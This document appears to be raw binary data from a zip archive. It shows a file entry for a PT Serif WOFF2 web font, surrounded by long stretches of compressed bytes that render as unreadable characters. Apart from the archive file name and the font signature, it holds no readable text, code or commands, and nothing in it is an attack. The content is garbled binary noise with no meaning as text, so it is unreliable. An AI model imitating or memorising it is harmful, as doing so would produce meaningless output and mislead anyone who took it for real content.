O}3]<tn9)맙%Z(v|^Z{?::,%]-JuHӛ*e{dV'!a\INTԷLI;52N 4U>Y%PDFr/qϣ|V& <Ķ>!VG# &1ۚIFжmqoQx"Ƨ=>)qҴOZDR*Ǻ,+ʱ[>tnagL'6w.!q%BvM\pm׍p#i&t=7bfxlZ!xo:߯P,{P:<`Ȓg$01[1ȀԽs2$ͧxpj漲kkb`_h^1!ꖦ.332W9L[Kl`x~'`+H>oGat~a%#85c9Ott8}༉޾1CwLr}di[7ML	ZY钓?kg%)c1
{s\6id;3B"ZysSHfN7$)2F\x\*$jɀc٢c>w+9&+zqmU<1mlFI{,Iy	.s{+/n9J?Dl+`;k'nFXt%y-`ݎudviڅ(}Ӱ>b=5>](ą&r0xoC2GFTZ)rȜD7R>b94qZXŜ:a!s-Dͮ7?FܖJUם.Z$hwJ0"IGnk:!x&v"@>B
w=SBܺc&%Ig,R6ݛy&d.)ഠ<2s1['u56e
ҭY^P!tc1Ytgztr$odiwyR]\TTR_i
K>WY f(qGAG}Tj	3+>,n8'<vHHN

տt`m \K[e4d(jnx&<vGnz1FmG#[xP%b"E}+0̀=Phj@,8x2TUH<{~ 4EO*Qv"޹1 x?>ӱl-#1i{-P@xfcqҒl@dYv	k3t77sh2[{pg8<zl?׺s(h֢ډCN̵Ϯ4M+j$5|`
e-z"uT%0oeȌ@!?bNBj˵>%bF&ɆK[5s9ha#BjOiieg<<v˜,3oUP{|f=:O.lD=\jI̊ݿ0]۶fUi׻ɦM=8^\此@ߩpX@jl$r>VU<5#j)B.97DDZ%uZ, s>EsR+OshBN`*6D4G9AQ52l֖yכQǺGGhZʴ۪[=v>do'F-$ĩwC94[1zXp"r`3p'S"f@fU+~^n,.}`e0脌,ն^-דG^`f1.Q>pPGX.g8rp-,dHCpTQ^ kߢɑ5"#\~rE/6Mm+,F{RQ*\C!_H_|{ZÂD&[mln+R	ܒLC/dRXW_?(\x"FFq,3g
~GK^?+!#S@iqÍ~X9%s%!s٠ä,	o)0RQ똢)2!Ll&,KJ#Ԁ. [Q´KXntސWT{Fdf;S	5#V};` NՆRu
~x>66ЦY@yuƗUuFdfH6/o1ϗ
:H7XvrY<mw D#Zd>Y<ȅ&(eY~HfcmMR\z`)mQ~9ZsobYy!?ϧZet:)Y) 1eAmxcRh)fz5RK12	GـmR''X_lbZ֍+EcL{F:'G=Gp,_j	r4SVL^RLd?G+2-XEK-Dվ9Y3J<3x7+C*Q֬wT(2˹_'VMRLce&L6}R`MBBe4SvRDDId(Ï[$o_0-u,n);R48@/t&9p= 5C7X۵9аt\kvl?eYMUMSBjŲH3ۛu VzGn 4
G`"6	?7_Nj^0In  MC"0<䛋7޾+DuhWŀeP__03^%Ii*"dϟ
&qI"_Mky`o}k_4pg͢'3ݑ@]Fҩb5}z25!OYO3"G5w)`l!R~í+ :-7 NBD	MwėA5rm@hތj6Aqr'eQ|hp,EfR2=<[ -\X)/7-鲟>&v٬6wQ&NHIXPjPw&(qcx9I)3*39VϪ2Qun$ruPP_.Bёj6KQQh.d2rp<4XѩKA7oID"۳mYbN	mʙty8W-`Q

-c./.CP&N3|"㯸A/BWX#]00\S[S¨D)уHEеK7!w+@--#,
B7LWGZU˷Y?j]g+q$?l
X"fRP$J_|zdgߴl8
kL>meVέ?akg4j'?zUjn̺b"I("	ւrt5Z0cI5%S/D#YDy8"#?`c	CTkC@~\-RE_:pde;+\RQ;=I0-0<~iD8dL2
f,/VnjCt@ej(cH[)hOz&I^~yxIhi%yJJn _Cp{YawBOǮ;scǛ.4_Sy]\Ҍ"{`5rUrN,s>mD"Q:״USnX>y	z=ߵCzk n蘩'k"r%_[$_w|WF"_D_Go^ln~LЊY* L#SZ)V Q,;ⷾ@Yi',	c1v4;QPXK	jgOalGy10Gf:Ф2G>uJxǷϺ?Ԣ<bhG*9{[6}t@/$:LХRG΀H&Y8-ky6;PGRaF.6o"y6SH2bB.~(wYG K$hD9+=VZ6Kƀbu&	ȹۑnؕv@Ч8la6`$$`%</Pʈm7z~KXνsJMR53R4P}HQRf3P#K<3pjg%  Nl\jɧ{HNJpƂG;>Jgd<H S?xP5Y	$<_&ME$=W==>xb{dJJ9YXW49I\R&,Cg!J݄GۓWqSC1wUpVͅdLi6E1+Nʐ$j3TMzM?uJѫh$Ri l{ޙ<]lF@]471queK)>%ej:~p^@)[4#j7md;K2?m#%(֝%dH|9Xw&7lA $2a=KCMOu-h^rg*~zóeo
[g p*SSއZimN#ҋQe/IQ,,;powlR_Izo'8oBՠ=;/XX`fuPD45mJW 44^Jr '^Su.M#L:vWb?7CaS
!үkDTbk?_8dvTCm@(@Ay)'8ygMbI1twZXY]7Sn<@6,#t'6f>ÐY<P݂=sRi	*O9E?<P"8)X?9\Fe6Z^("N)C"P)
	˸sέ֪57swk G "[hKUżBVDHRbhJWWl3ZU60a(bx-{.Uᐆg]B__~FM+{ALLUqibYόd`s>nL;dB7oxd*=`r5X|*FNvQvZM0t]ev?!+9\!Gv3ܰE)p_;3=@gv4uvq3sL[Ww{:|	wUWŚ,½rز&Lih0y{4NpGUsEHd;Ný~gHFZ>Y]W&bDvG@Cj(s	XR%H!&^Zv锍RM]T똄)okWai,ٱ/։8C*]g3~WTxN'2c3*bn?OɡUj!%p|HJF.6e1Ʊ0կ 8C׏n8R`]Jz-|n2&:Oq~I04n-HD,:(C	}nr59nYύ􌉌A[mUeOv=j'1L]=^!5ɇLΊ_W<nzYCz9'hJԠ2y :{z=O\Dඏ2T>bÅC{lIQx]{x
MMmnF$?L^<"U23#ywan({?LPV;<mB,#Qv
5m[O? ȌURVzM1U^>ggpsȟyǺшFx
|9Ѷ͖ʕDYl5$)ƀnPe)#y}~Q3qAI=3Ƙ3b{ת6*"gN?1RFb󢄀ro͋(=N1)U6<$/EŏibςWJÎ(x7IT*i6=f"sk.Y4sʚds`(z],F&SjDh4+#>?/t#uW3*{as_(FLf+~I"wPy\"yR%zEA78i$dFJDLܡ/[Hbomrʫ<KfRc%~?x!&vO3fSH%]:ePP $hr!5zB+~nmf3${&C~iv}o=]at}j1w vfrhܓ~Ctz`f"o3MwLz	X 5(E?,1>f!C{.oBs#l=Q`t}33?SYFXAΩmŬjz~g좵ҊW;XL~ϚKC;z'
qY6S[fﴀٛEV%OH|2VCil,|>{̔s;ޕvSy{5}:~Cu|r-O0Q&{X>cLW|N>Crq(q!-5;7ءwg+zu
8ܝL`lLxM0ôׅ+dOd_dCr(ERMr$gș"!m%템=2>
X0?{&?h^i}J.mWk~F`=1uz^eZwSN1||HSo<>.p=pmkE1j==G1[@	:6爤D{@u\\S4"
`_c0_]=/.@6РV#楇<RЮ_NZ{'݃_!ḟ?2%tv!MըZfgN@[K~KQ8z$DԵwHFLWd()t4kd	HjUJpW@=Vڇ:2RR_@:̨xRjK 1it$|O,b;"\V%u]֔|CP@T)AY$B%P4qPR܆;F}wҔ$
z_hJN}'䎸+sޤ}r<KV~Yg@ua⊆6@:E,CA0+FĳDۜZ.\pYC%5N%k"ɱ<B+t.4#eI!'f蕩m>aDL۲]ZDuuW1E:4=wF_TUc綊eu)vΒ3w/ UO-I
Sl1gȯ` Per,lЊ{pn*`>biH#?p>YOS.w8uTBRJ[>^.M%s'E6=ցG!	%aɴa1V		Qa(
@-21Q*2^nm;;clwqy"Q ݣm =v.iAB(^-0(LP5tw4>9(#Ͱe	FQZ|itVTdc(æwMv H>X-EoP!3SPbzCAol[sJ]9%?u&>g{첮mN.* 3 >hjZ(F;Ͳ?W?f55G+>fS[3$.6+z\N/IpϑvxT1yDu2(gd*}!9yDA/!BF7X9y|hZpKy;~x5ZrZǊ͇3=(:U]j:vcѧ{mR|l<pAB@bfs~%M0m l-A)tLbcc)Ƶ;ۼ*tv(DnJh15OЀ=@ v
d.	(p/6~Y57-"eG2RTv_*l{nz\܌9ɣrO\Mײ`z)nſ|}6K_Z/VE3fH8
6-.^M@Ұ?!T{D[~>(dEYCzE\mT]6|*m'w{t}gdlt}1@%X}u'"ISz^f;r˨׃σ#Uru/][ފGxb+j-]]^i.[edh2d1TaLō25 DKaakƄaT΀q;~RHarH*2^Kٲa|^J,7զP}<2]iܸnr-aًy%͐96\NkS44(x^NH0wsrK|4DQ'|,r_Ov:Y5{#d\2W|/uØC`VCl
ّ!c߫F	P~]w8@Gho#ˍJd̿wSydc-đ0慎R͛&:d{In:Yebo{;e؏xi'y`QSGYPH	(f.5&x5bRqwŷzl?	S *>k=Ex4RP[Xaק0א8Ϧ P#	*s4
-L6;D2~Ńo8\CBX%ydq[ɾT^

`vX\!m!8ed"O#nbjfR̵X}fRj'PM@gA!ҸzRk3=	$	V| 0#\&\
Goȃ.!sop	۵kYuK&%ETBz3GYXEqVkz~vpT4UG=`4A=S+Jdj`rxPh,l$uY.mV{$m22c\h>zl9}b-=ګWPV K#ցCK;t$m;dnd=K7.n+I?t0,!F``laF7]ײ,2fɶ^|W8h|>YYD~%#"DD70b*=_G ~R ѡix8V'Q`H]E}FGup!SBA~	kfɟr\ޓ Jbb)Rd1?kr/`MFo4DYhd~;M`b_`uIe}i/碁8Y/?ByuY7ɮϸAJCW,o>m:jfQ4L7_plwGX2¢QEncq`8:Zm
⧊gM\M$CEҜP8,7z çMR;n+E?*xQ"g6u_F(=Fڑt'u6TêE:}g+~6Y_9uN7ztMlu[:X!fBye/K|(ıkhY4^c+wqS0/L,	޾萷_U_kXU2Lbx	.БaJtSeBiu@e{)ɐonO-6.:kUDk~ʱ\K:y
S\"2"goo/QFg"R(Pɓ'O2Ұc`S0ZE&1'<6C|q#' |OM4Fc$Y;pީkY(V\yPF`;:Sn"I*E1VlX'҃#ͽ] `iE팬{byo9gt"Z}c2PEԺ1V,=?4V#&G!˭$7׺t?KT^{g~n=K_NA	԰tk;> x y(ö8ҳ^GEs]{Vu~QU6~{~Y.I/4C^Y)>^ƣvbLϺлzf7%2"ZԾǕρs[3,ۿm
<տ3{h2͜䀶6Oq{Rɣ(pk!G̪o)5Gߨ$V!d@[Kvl,v;;R}ڥt׼zR{~v΋
|Q7بy;lI|-Q2oMU?"!i͒fw<ȧɝ"ё127ZSHWmrE87!\ΏE 9V}jD844UG	:S > SPK؞lDs7;I0t}KF 	9ĎVZOnk=gXқ­;Y%N,0M ármO=0 QKiPb WM;y|Ӱ{Gowt	KgŋH!m'zdj(h&)
j{c(:&G1Ӭ7`)<y;е<jOTŞ|>x>éD(?ϓS	O1%Լp?cC XH#?GAQeچҾFXZN]&6]]/5>bZfG>	/J0VjH"oTdf'fܮofş|{(%/CțsgyT 6(D"
	 _kd045^ݛhl=aW^푐k$4jWqY4~?%4%ɺs+p&rЅ
q\p4IyL3zGFKi Ql6򡓨^_q֟(Nʞ-~	U*(Ŀ&@D**޺+'Oe]]LtC02X{XzʹDJ:xEGheJrQ1ҦUYY4d<8
ctgLŃ r%s˵Mqh(`<6/mm [YX|:Jʹb5{JWlSW|I=S1F]A,F^(p/mC0!*R<O"bP;<շ%.Ib?6';CrAU3-lXC3鬵_o@\Ps us(/猐ݐ7Qd

3_Y;`9]=|4@h$CUB1^%.澮=9Xz$ptΎwj>7"`ٞP::3a"̦\r2޺~4̫@*Wf)\3ӑ+W&w@y'Wa 躹uW͊hگh+[Ei.LJ)F|D۸<%pJ=Ղhiuw+ZH	q;kQi[K;$+7I۵y2Y)
p~e*}sXwľB5רj(sgR SE#͙>[w#<.^`ui`z: E ݜ2YT^"X$+0YMOjpvFT^R(`0reG>JjS/D<qrUdLY! G{]mS[e;\qJY4]IQk㤹pZPz]vZ-ކ&z{mG$l
y;B2Ķ
ݯzPj܄2*lƅ_CI9,1f)bQJJI@A
6(DAtO]+ P=8NXC5`/>92DKMiR7L3t6Ǩ
mx 0xDop7Nǽj@:ud{ySԿ۪_8_Fg>Ԫǫۿ
zѥtCpJA҂/WM_E;heXTY@4DZM
J62=?ZhXT<'RJ^y-,&nEsJ}"˔qhfe-$Ē쫼O+@$: i{"T<wa+Q7J$(pԍDG&vX,i؍!Qz%>/^4=買"jVSGܲ%H#Pw֌"T8i70qQji*g%zSiLҳtm$Etf(dcGZweGwv=!tb{4`y:sMىM4wK_J#RJnTkz{@~-]82ATyk	7D5Ĳ'nL<@aj͐n-}C6O,AE /|騏`\(ƴPt퍋Fui7剕:pi;쥻g	;g(2MΒ17bN0uo#3kP"m<=GSKĞ >amRE2XGDT:%hL2!kDr6ՠeu{
^8:vZ9A5CJXԳ
Kq12=tE$N'Oȳ)=x1@h1TY\p<R%:a{d2mGsWeb ,@7çذe,s?)V4{=Y6plOUVN.|Hlx#o4ۢypq<0K[zFg1HPs'_6仇2|rJ'bŖEL~};(O}SO4~[
8}/8Ԑ Hq߇1mS|^zS	}БTRH)?'rwl$leb	`_2dŸ>8Қ<+$xzLWQr`yXa:}ٔV,t:<aVJ[{R{}_=`liۀCH7y:6b8X~VB(rT;8R'ZWٶd]B|va{y5Pc|#Ba'Rttx^ᜎr,!6?&0i\F_!J|ҘO܈:^gs\ҟ٨wܩk)ν[vf-JwRfm6ksXRTцvJQB+BTcVL4B8Qvz3(?Z^=ˁ
PQ7j[GJa*
hD-hl-"5h#yr.5t4uk!sovYV IXe.K{lTmcIdTQ֊%V!K9/Y@lyL XW6mRŦ:im9_u\elN^{PdwwGr诠U~MWyIκK͒=ױ=ۦ.!PO_UaenD#..q,,cP6iDW9&lpa{@wuzIn2;&-+6*>VR&uCmfܘ4.MsvPa<=N!sOЇ.1f6"M!0n'!&$3 0rTeI^#&g!q|=s+p"t%FQ\."IkHkG>zs,ϝ6%8am9"*"Η%-cBZ7( DsPD
5o=4}|V43Ss˞nW U݄rz>K H-U,JûGİnmfW4/ި-e
]G}kR?E/'=EtwM+Z}zL_Y&]
=ɛ;>0
?Wтb:Ʊ~f텉ev)]@ E07ѯh \9NOL"m]\rN}qhnF4~mm@+^d.;)KgjVr＂$l'҇:jV*4-'R1Jo)ZWĲۘ9ф._1TjĚ޽⠻rd[䨹^Ny'ZAz}1o'CTмQ(!#z؄K&{InuE\] FlmD!ג)k;d{~űr'yC5΢o0Rì|fAskjWXYh,J)R+5nyn2xm^U֒}k5tp$\.(rĩ
, Sb! >ՂRoA!F#]2VRlHlތC[N/TqM;,9PUFPM<A-QTcITȔ4d='CS@k(( I*	MGb!'ӊKG24ShBLʣտ\X()'(.QIR tȱ.I,y,e/S7`BgCy%
(d#Dn)	ɤIe]R[1Yޖq=˞3ֲ 2:+``v(xw!	
5J0[<>8:#ͻPyG~߆uq!iIT=OR4mHw	VE	}ވVl)1l'Ml:_+]J1{sF|A@΄x{q^69c,1vXD+\;CLQO(wTl7oTqbRo"~|Or-LsAB@%ʖnX>Gt$P{~^bG^~@{Yť(<,
   
N<z.=I(С)O3#m#(0Q`124'7rq8Qޣp8E7ڵWI^PO&jʅPcN{AS l%-h`[42Yfa${&G~q&72<<QA[>1QבWYącC  L5Pͷ
UkfR;n`u3&WLf)+Vv\e(nb"pRkڄ_CPm!5畑]LJZ%r%ɂL޻F|H">1BS8l+ӡe&iAN6)>E *"=}3ZEp"*R午CkȌ%<Yz+5T3ZuR_os3@4)d:W3Ȭ'7㰆+$L!WS:e#Q'6hhnǧV?"ěo
r(W|!P4o>2G;L|3Y`=1|'npb$Q@-^Yn
:(|&LͰyqExH_'#ә*ѡ #F-EZ|G<4E($nHi?z:R%ȹ8UAB$h
&3Y	Oٴ+T ڗs;"ï̠?g-	$hU,d2LRceY e/wtP?+A/?3(5ҲLAuAR$PQd%/[ԿwHב`:[AMb~JԚ%r(ƺ8sVW 
CYer=Ŭ(44Wj"(+rfJN$i=9=JEfweb{tq[ 8ᵵA78LͭK,(0ZP[#!w8Ɍߑ|NVNȓ@А1׼
$s}.}d Xݛ>_'KH҇ʶM
qZĤ?"f59ZcdIa&- &_3̀^MArGY~Vtk[L	E4?-"9MWn$ufB<jeCV=wywJw?/v-p
iQ*#FB}^Ջy)Ư},/ŌtzGۇz	6E֝]+)~^jIusz]\"4&Uen`tF!Mܑpn\9uWlM:z;c/(V%Q)dg̕<Q.D%ͥ	@6)o{B!~Y%1/Vяdd9S'CÏt3$.M`2c2geh0$. $s|'/r|Ұ	:9a5R&,0F/U~]"2,魳89KȐ' Nݳ7A<c9cE˯WZI,&_0$aĥW!Ua#	!8kU%d&=gA%&ċ[,rD"JNF)[oآd\J$$tLt.iFQ%!9+E+BIh)XLA!<׊/\#]5,y=s9Y),Ō)2qѲjCZ)KQ241%c>;y=^vR_Fr sQMDbJWpg&IvA
Ak9SiTPht3D}w֒Gx$es0y(mUw'aމw) 3ϲ)^{G]P y2*A2y8	~N;F0!TƭF;Fh,MC2R!S.@A)a2'g!n6+X +xft?M-UmbݪG,DG?|W(RI,e9:~ա q
afEEZ3jb*K]E ^&. Ѳ  3&U#4$>l*ʪ4]
2gĔoh4yU.׶	l%mcemMt F!TLIU(ڮ%ݕ-Ddr߬gѪVq{Mbכ8DJ %d'm*k_˙ӌCc$RoՌen{N\J0#euLZ%(9ðծ6D^L&0A8@&QG3fY]:>Qһ+v=]MO6Ac}\m,.YEabU9V"^uk-Web<xʺM+3|/1\aLMϏ麶v[[Z^ߕUxS[A.WWyׁ6+]		Z|cdJk*_۶j?^D\S)nժ*ծ7߄[3?Q;jM^twT9tzy..v4UFq[{.1xȦoE.+	d<0]lQaQVhJ#=Z?#ou 5oW7[К*WSvzkS\vl(=}=$L=:}m]D|8܏h#UݥѣWݭQ/WJBCfK z9%b'=  Og_>f{ 6LmyshJkzWgL
W>RTAUD*l_uK~f8je`N`?#,ҎEX_n?EZ&9"usgdu']2\CM ℾz"
Ej۫g&&h;z*Cۢ)f	'A /x"UމDZajXd'cA)A -y5ȩS|3~NتN]tЇ}*y\9,Wz*F셅%.`u@Ń|B/0PɗϨ=cw\_W;YyXM^hQ3:Ƥ ĪWLA@5V)Ql/cZ+gk^}[6m@QšM7rWoq^>~+"Vq	fMeu_{ 8A3,6(04/ʪnڮiވy۟_\^]}8<0·qs/u?>y]ty^$!F2
1863@j$ñYRi$ñRi$H58QTpl:@*d867@*ԅ]&@*d8vBtt\ڛ
W*V5ަzuV&o@U30BC&XuGTdx6E,+ouꐪ#1@m$Pe3WegĢS&_%5z岶ZRZviwi9QRSI'o@,QvS_JNJS  PK     N\|F  |F  4  fonts/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZyffoPNB.woff2nu [        wOF2     F|       F                       d~` |4	
,, (6$0 lgpј'Bvl\Z;38Z2&%-~{,;!ELR!y>u[s
E	a&8EX,_(\.
l=Ƣ|8E%ґFk:L2fg8'Ck[3YM{υw_,@1ب̤\F@QV3WO{G'EaDo4mc$w$iTqG^̷a+"9{bЪO,>UhuB1U|S8$ͰyJYQT)bʩXs`"{X5_if&	ݡ
l+;u;վؖ-ɶdckǑa,?)`H6[X-Ufhn`o*-QJRW9\}ZZkq IeV>MAogEiH %fu9&6U|=vcBD!(V'[K$mtC#Eio\Ŝ&Mwn20YSk+.'J%k@+A&
嵏¸$M5{g tڹKl!1a.IEPұVK:2ʥ({7[Etmth[:r
ȡeJV&ɸ8 R*EүW]4໡MiH^]!tsySMظ*rf'dv 9}{)2V	W}HJ	*y3&P}i#PǰFpŖdty g-?6M
@ʣ !drhآxbstsoXXB_741߼1	)T܃+OG*\)~A0MO q(}>KUkn\Ĉ1{|W]PB@(ɟH{nwrNf:̭ 1Q]8	%K׬U;L0Zt)t4RO#,}Siyi-J\,]
jn-pqك"x+vP)9zfivnP|7CFk  sDtV ʎM4:{vt]ldn~);㘴Rnu;&wCD-4ҍ/>S>^z饗^z=q<^z'0l$Go9Y}'r6y޷$݀^Î1:e1uqu Ho[>!Xjv<˺7tW{-]uաf[>PX˃*AN]ˑ 1;Mt&LoYr)ЬS7a#ƾyw6h:(,iY9!.DHI2$$ECGV@L¢u܈aXq	IyxiVaV[Kn=v$8hׄH,$M!Idp&a3"))2^O3!fr!!.Z	.$H'uf6.D8]v,-ACRw&#RYj)^qHHoaƴ2|m>昋$5
p;iRY](p[`I "w	KA=pc(
?dvnS*CK^ن)6XS4CNqG_hV*+iXPRYsW!ƫfVE4J(V
+Sj~'NXXxqcǊ5rİ1;qUs/{	IW'_i6V@Q"54oĭ@kY`"c!TD$D.+.B805a%u-M	̇8C@cus*
i;[ LnFJ4n;BsWJiڔ:/5p$SϭEn%mAiT6hoF%"4-+K[m't˴ĢrUM)IUa;m0;A:*P}ㆯ]i5z7H=(~y?zu=\dW-eո+<lB٘Pqn,}]d:*>od)Eh8YKL/YTM6 8=cnꩶUֲ	*Ng͡ŁO.ҢZn&޾|_[!kn-7EWl(Uʩ~
>< 5"-Bz6
ݾE,C CuO-.h+bg iBg7x{2A4thUG0y>ޓF<_."&mA_j"HG)gTE,{'2kA|؈"\$<I2@g
jK	>?ĤeifnF<Tee%"@|gj.0(BLʼVK F"Vut$N)R 6T()ShdfQ(PT5.&"ӹQ@ !㠰 )9
gŋyKN'qg.4p^kR\UT͎fjh,>Ɗrg>ՐYASkOluiU*ԑM[gR<Hr'l664,H]|1BͥQY0mEsJYhQGb$FGEӃֹy\Q(¤2Y)
'Ք7˭3`gCu]<=
aXWx:Scc}q7⍔'Ϡ^yb NYE$yG3{K(<)V1M-g.#zPyóiC(8-V3 f42^kg%$Y5QK4BL ΅Yd^0az;F-`"4df3.q!Q4{z_gHz=&ECk:@H<Z>/f,숡|ѽt$Ub81l؃f](YuE"$rw`'"J	ї&D*Ä7JIw4vEuÎ,U©ʒS{s8a% 3y'qd-%ɫ{K䞗H_+CTN4$s(R)*ͶWRߍxͲ_)&,Ff`R8
I4 ^>Uw|3*K@,$LLяZ@Mu\3
.Fd.mҰQ(9mEqwy:K<|Hj#:5CSgay^"p~@,q
9ǲ*F,o8HVUȜF8$D'~?"Ko4N:~?_PzGPZsj k>Bq4Y&Ft]Y@.ZhKVD727EP\0>ɞ_}#A@
0AH7疈+?(ך?^TG[~r{Xo.纣؅gּߋ!
*Km}Ԭa¹|Y5;g{Ω͟ք	%X8<"Z?NNpJۻ K$n_f{78/	sa1s?/>l#wzEjӪ615ɵ~T>!x6Sjd?ΌƩpwһj~T3f]VXoiL]?ieު	R&gRz۔G'aRS	Y,0DL,;z7qx{nK?7ؓ&!>g	*z8\5+dNAqƯ~rtlڱ.FiwuU4Dnwe5фBw9=q,2eRolM
v5=?qzkj!D"Λag;D?fp8!BӅva'LyP'dUaT8EEQ>mv[-(	a@U:]-P:"8PO	hB	۾x{"C\֦<IZѶ0\̬|&,b;<<U=t%yUnY)#gnFHi[ݠ|?ond暙<eP6kɛڤyG??QYDčmEU[RK4e8t|jJbBA-Xc"c2׭Aq_7)Xn!nWl<FZjtib |tН׎aq6m3cQs͙۶9*"mOml#>A}3qvxA
y:rSQBkUCkj	Wgwb~(I[Ҍ,ns6O8wɑ&Eє`$طQ&Ɇ:*MԟyvYՏܑnOj!swz1U80?M+ڦ X0e$Eg$|(q2H;q6H0((vm[x(evjRNFg+~; 8;7]zTD	"e|@"kғ1Xl*+Da0䜵V8Q} :eUh1WiMJYm^{"[߿j֧y]M@RѸNW-MMkl"_'RwuEzgR!847|Y/5)F}'خԈDqqED2`Na[*rZ0ul$w`s-w߯mR[
n"'tglllV Y	Vo}6?sv2B3[4|L!nZrr1ơH92*hV4SP
<<}pލ|0؆BBZʝdDն"ކؙӫaz~>jAXU+@ۛhS͘n%}\v.a76Yϊ|r0eQiYUA=pʊ\ݨGhwDElc/+V֠T.}OӼzIM*WD8nUVkȓ^\YMkψN豳qܺW~ȷmMJUI5rb 9""؆q>kw#x#$WvY\ϑFtKqe=C {<M꿂/ͳ.ܶNK;zqKJ:)M䭂K%RpŽ* L3c:/DEdFo.1\*ňǪ^ 4C8QDycqNfK qտ]4:yRy0{3"<'!Pd5mT	|_fʚٛAo 6z4	7j+׍&ߞ 9ϳaKO^̹aq}>68];ܵQx%e|X=̺f0}X͞ rgXlY˓DZK3Pq3_ x&[KvxA.@iSP-{8s: zǼ듦0Ѱ=xy9cwSYK0ߜ٢RJe=71Tj#jm.1FRn)n帐RYXag%/șSi&tNza2iJhEb%~ty68!ɡU__=U=5:!qZu$avǚq-u2
Sdku9{QGf .>JAJF/)pqSJog'qV8^2IBVm	W΍'mdSExch1)g/M"!GJB8py?s3-bqQ`Oo,pvc-'XzF"rAp˅YFmҨ{̜,v t1
^ңת@ryuYݫrhQN*NtX+>K&{5pZk+a	(ܺS\jAw-OQԴۚk拓G@ȆIiϬ#{qdak#0jJ})"ctM7NQ>Z}˧VE#92((+(@uocQF
nB2U*`]ܥ5&V.TuB*NCA5UeZ5<6%:-%DHndy>1<!ǠUv ȱ8u,bix?><S5s ?Z&G#J:TrgpycG1#¿X?W^DlY0V:taVH2m~}P,7
뚳U(s%*Ksm6%>&^j_lN&ELkfsu 8h|D5Ǎa	oH2b%5<Y	I#-qVzC뉄Tv㆙[LCii5Ͱ:v.|d1:7nܿzfΡ$2$~曦ml>bgkGH%?ޙqtwg}D(~Mg#QĹӈ7XAWGj	Gؑ" y49$cBç̝;#d똡wy[3)PU19j@__ZG\li{Y^wIѮf<T6?ČLiVQ[i_5Ck`yƨx줋h
,ٳ6M#^Cs^T0"%WNN(.Ф
RnQ|)Y]u YJ44TIo.*aOmSlw*3-vmH?~Fkj,-fT_6v\Sw
/oVgk:wP8]mN+KcCv̖EuC΃:ʭ{21Tz>"!`yQKdq;SYcI䨁ׯPv\OU.SAzXZ_])21z*%xDAP /(*ci:o[SM0!KYF{^(\J00hMU+KW*ӕ.zڀQPIICBZj§K))=Hf"2}R#l}@~h(޷NS~a"$SS[l5m<U>AL%㩪,K9fĝ4Tdm}*"9xrYuꆙH`gt.&h>%mrfZ\?ކo7 :ttEOil}1Vh/Q'M ո+EŪ(zmJX5|kdH[M}mjS!7)\a95J$DV+"FfK4sA1%
zcӣk|]G_DE?p7Oc]'qzߩ}['^'/-=8UNu}pG7Y`7If=<B|]vK~<17@|NܑX{r:2hs] ~3)l:o\]euV6sx7GN,\0/,ZXgqH1([yfֻ ~0gxݨiw|Pg7ehhԡud"@@UދOGPߗ<ȅtfE{|{[4-jճA6?Z_:Aiz[_@L6[_OeaM_p騙< TK͊Uj@sg%ܐS\QX/}P\]W$@~ |a7/}<`Kᮇ+,^ XQ+vLJ Z2։m HW!lHxМBfԥaIʰDatctByihxtmranwb.`m0&EBr DlY̴>L ` Ē_[A!HTAw|=~p6pe@U,0:
xlu
`(zQeɴw>n.A+9OPK\QLD( cI@sԮe`s&fgLyбFNQg"_8nI
кI1pgdlGT-"ȷzd9VWpy ,*M'}ZoU24Pq!lfrZnMT2+Z!8j`:,xv:ҺV&$4MHG2)6'T/# JlZ)XzeuA5 gAn9
⭑4OX`H`[MhPVڠgWBz2ǗDY5KąenyZA䖅h@%4:@Ң
Q<YGܱDPtRk^>]bΨA$k"E%a vD
8w5!(-i%/ 
%6<8Mئ̑2<qyGZ4(C:Tq%Y4 17Z	 =zR&.vKA*fK^*B	jb|Z4N v&EWy<]5jL8-mmDr{6	5t0y	[
w$5t"EPR^_᐀Gq(	 XH&0+F#;}B
P6
2 7h!@ 2P  Ix\C|2#dr mP`Ƴ1JP
6W˕*td@)lr.czV4+&gWjylo t[|1L(g-kڌ!&"ɐYse\ÒMhmUD$"VG%؅@6Ląl;L{b6  L"v~ִ@ޏvKxJRX 7`HQ-m!jjMAuUV׸D^	K66[8]){oæԴ&lދ
⢡IlA$0B{-89|#(X#NHPIdĉmI-6o
*GCT VYH VyUY5ۯ/9Ev")m%'l+}A/VJ	2ѠK8⮕v,Ɔ-\"AOj*8a|m<k])ȜT5Zt0D*o)YƮ*O6m&-:khM#[2Qt|EP촆T^+i-RNac8sLGSyV$=ӄ|	!%~Jr={q!L/?z|[?:Fׂت6ض'P6fkHGi.~ s0?jpD׬KH+A6+@w"<17$5r,VvslC@X:~BE:JRoPۺԏHMi;~g>h`Ae;3	6U`'yNƫ;);`+%`OAE4K+"YLT=! Z]9F|Q,_adbnz+SP*u8/%!:VصQ#w-[`NYœwvŅ֋Q$'W
1Ŏ3=%\x-gxKMaS{ݺr.Ԟ$Y-&-pvxkC7\Ƣ~ۆ1Eu1M pLRtj\Q"t:ീFD(o E2VG Lw~-dۍ^jsƌ%e8SpT;IYHZc#R.Vq&$%,OR;b2  U(`O@)(3t\+ Em(+9jAQ$.;]zdӒ*NЍyo%yL6aMOfgBE52+IpÍ,ܢW1=2稧(fXVRԂ|8%|euHEAZ`'~g
ŴjQ$rJz.Z|։ E cNh]+6T64G/@yRުk'wMNsc,e17ykh!(oAFbԿ\{]-g	_.~5tOP[DqV͗yC]62,w. yg;fj?kE-Jg,fbH)p24!(+m>i0P\p/b7ո)5S47Y%ޥz31QTp"&eEƻ 8>A.8ySya:+Gh*n8G]Xݓ#SiB9-&+@Zׁ']-֟<lFTy&)B̺QtU wiN(vB#X*pPJ#zM-J``ph$6I5a_'{CZr;fj6vVWI\M=*/{U2,?5K-FCXlA!MЁh1 oӕv:d7E\-] c)z;=[/GKu81Fz̉[sy\s4=穧͎(/	*[j28=l嚜֧7KvTܙzsT]?>}YLGQ_/QqQYyF$#g5ػCОƟR"y<d7c\AAPrmڲzKe+ӹqƦJ!)5E$x\ݬvLゅI&G7=zrd-%Adhy'~,ߪjt0>48ǥ/rAP-i>{Il:ɶd3"ʁIwk$4&I`(4&a~d0,Q\96G)5G#-RѶ_O.(YȩI)Ml☧urd(ZЋRh(!EG[%LQ}:u	3P\zt%Ն"	$:.)uV?Y3SSҦTUJ_E]W(N]詃p./YxǫB$Nr4ʆl=7)hW9m#~ØAq0`SRT.A)Mӹel597ĊN%ʹ*G=!\t/B mL6x4Ŏ:yùkv+;GS[yܙEGwguxLQ%>@z">g+wb=B=>N;)(󂪭'ƶ]zb(IMICٞGd%&Y$	